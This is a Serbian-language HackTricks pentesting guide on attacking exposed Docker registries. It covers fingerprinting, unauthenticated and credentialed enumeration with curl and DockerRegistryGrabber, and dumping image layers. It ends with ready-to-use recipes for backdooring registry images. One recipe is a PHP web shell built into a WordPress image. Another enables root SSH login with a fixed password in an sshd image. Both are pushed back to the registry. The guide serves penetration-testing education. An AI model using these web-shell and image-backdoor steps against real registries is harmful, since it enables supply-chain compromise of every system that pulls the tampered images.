5000 - Pentesting Docker Registry

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

Sistem za skladištenje i distribuciju poznat kao Docker registry je postavljen za Docker slike koje su imenovane i mogu dolaziti u više verzija, razlikujući se po oznakama. Ove slike su organizovane unutar Docker repositories u registru, pri čemu svaki repozitorijum čuva različite verzije specifične slike. Funkcionalnost koja je obezbeđena omogućava preuzimanje slika lokalno ili njihovo učitavanje u registar, pod pretpostavkom da korisnik ima potrebne dozvole.

DockerHub služi kao podrazumevani javni registar za Docker, ali korisnici takođe imaju opciju da upravljaju lokalnom verzijom open-source Docker registry/distribucije ili da se odluče za komercijalno podržani Docker Trusted Registry. Pored toga, razni drugi javni registri mogu se naći na mreži.

Da biste preuzeli sliku iz lokalnog registra, koristi se sledeća komanda:

bash
docker pull my-registry:9000/foo/bar:2.1

Ova komanda preuzima foo/bar sliku verzije 2.1 iz lokalnog registra na my-registry domenu na portu 9000. Nasuprot tome, da preuzmete istu sliku sa DockerHub-a, posebno ako je 2.1 najnovija verzija, komanda se pojednostavljuje na:

bash
docker pull foo/bar

Podrazumevani port: 5000

PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0)

Otkriće

Najlakši način da otkrijete ovu uslugu koja radi je da je dobijete u izlazu nmap-a. U svakom slučaju, imajte na umu da, pošto je to HTTP zasnovana usluga, može biti iza HTTP proksija i nmap je neće otkriti.
Neki otisci:

  • Ako pristupite / ništa se ne vraća u odgovoru
  • Ako pristupite /v2/ tada se vraća {}
  • Ako pristupite /v2/_catalog možete dobiti:
  • {"repositories":["alpine","ubuntu"]}
  • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Enumeracija

HTTP/HTTPS

Docker registry može biti konfigurisan da koristi HTTP ili HTTPS. Tako da je prva stvar koju možda treba da uradite da pronađete koji se koristi:

bash
curl -s http://10.10.10.10:5000/v2/_catalog #If HTTPS Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: <FILE>" to save to a file. #If HTTP {"repositories":["alpine","ubuntu"]}

Autentifikacija

Docker registry može biti konfigurisan da zahteva autentifikaciju:

bash
curl -k https://192.25.197.3:5000/v2/_catalog #If Authentication required {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]} #If no authentication required {"repositories":["alpine","ubuntu"]}

Ako Docker Registry zahteva autentifikaciju, možete pokušati da je brute force-ujete koristeći ovo.
Ako pronađete važeće akreditive, moraćete da ih koristite za enumeraciju registra, u curl možete ih koristiti ovako:

bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Enumeracija koristeći DockerRegistryGrabber

DockerRegistryGrabber je python alat za enumeraciju / dump docker registra (bez ili sa osnovnom autentifikacijom)

bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url ____ ____ ____ | _ \ | _ \ / ___| | | | || |_) || | _ | |_| || _ < | |_| | |____/ |_| \_\ \____| Docker Registry grabber tool v2 by @SyzikSecu positional arguments: url URL options: -h, --help show this help message and exit -p port port to use (default : 5000) Authentication: -U USERNAME Username -P PASSWORD Password -A header Authorization bearer token Actions: --list --dump_all --dump DOCKERNAME DockerName Example commands: python drg.py http://127.0.0.1 --list python drg.py http://127.0.0.1 --dump my-ubuntu python drg.py http://127.0.0.1 --dump_all python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all python3 DockerGraber.py http://127.0.0.1 --list [+] my-ubuntu [+] my-ubuntu2 python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 python3 DockerGraber.py http://127.0.0.1 --dump_all [+] my-ubuntu [+] my-ubuntu2 [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 [+] blobSum found 5 [+] Dumping my-ubuntu2 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Enumeration using curl

Kada ste dobili pristup docker registru, evo nekoliko komandi koje možete koristiti za enumeraciju:

bash
#List repositories curl -s http://10.10.10.10:5000/v2/_catalog {"repositories":["alpine","ubuntu"]} #Get tags of a repository curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]} #Get manifests curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest { "schemaVersion": 1, "name": "ubuntu", "tag": "latest", "architecture": "amd64", "fsLayers": [ { "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935" }, { "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4" }, { "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10" } ], "history": [ { "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}" }, { "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}" }, { "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}" } ], "signatures": [ { "header": { "jwk": { "crv": "P-256", "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX", "kty": "EC", "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg", "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg" }, "alg": "ES256" }, "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q", "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ" } ] } #Download one of the previously listed blobs curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar #Inspect the insides of each blob tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

warning

Imajte na umu da kada preuzmete i dekompresujete blob datoteke, fascikle će se pojaviti u trenutnom direktorijumu. Ako preuzmete sve blobove i dekompresujete ih u istu fasciklu, oni će prepisati vrednosti prethodno dekompresovanih blobova, pa budite oprezni. Može biti zanimljivo dekompresovati svaki blob unutar različite fascikle kako biste pregledali tačan sadržaj svakog bloba.

Enumeration using docker

bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them docker pull 10.10.10.10:5000/ubuntu #Check the commands used to create the layers of the image docker history 10.10.10.10:5000/ubuntu #IMAGE CREATED CREATED BY SIZE COMMENT #ed05bef01522 2 years ago ./run.sh 46.8MB #<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B #<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B #<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B #<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB #Run and get a shell docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running docker ps #Using a different shell docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

Backdooring WordPress image

U scenariju gde ste pronašli Docker Registry koji čuva wordpress sliku, možete je kompromitovati.
Kreirajte backdoor:

shell.php
<?php echo shell_exec($_GET["cmd"]); ?>

Kreirajte Dockerfile:

Dockerfile
FROM 10.10.10.10:5000/wordpress COPY shell.php /app/ RUN chmod 777 /app/shell.php

Kreirajte novu sliku, proverite da li je kreirana, i gurnite je:

bash
docker build -t 10.10.10.10:5000/wordpress . #Create docker images docker push registry:5000/wordpress #Push it

Backdooring SSH server image

Pretpostavimo da ste pronašli Docker Registry sa SSH slikom i želite da je backdoor-ujete.
Preuzmite sliku i pokrenite je:

bash
docker pull 10.10.10.10:5000/sshd-docker-cli docker run -d 10.10.10.10:5000/sshd-docker-cli

Izvucite sshd_config datoteku iz SSH slike:

bash
docker cp 4c989242c714:/etc/ssh/sshd_config .

I izmenite ga da postavite: PermitRootLogin yes

Kreirajte Dockerfile kao što je sledeći:

bash
FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd

Kreirajte novu sliku, proverite da li je kreirana, i gurnite je:

bash
docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks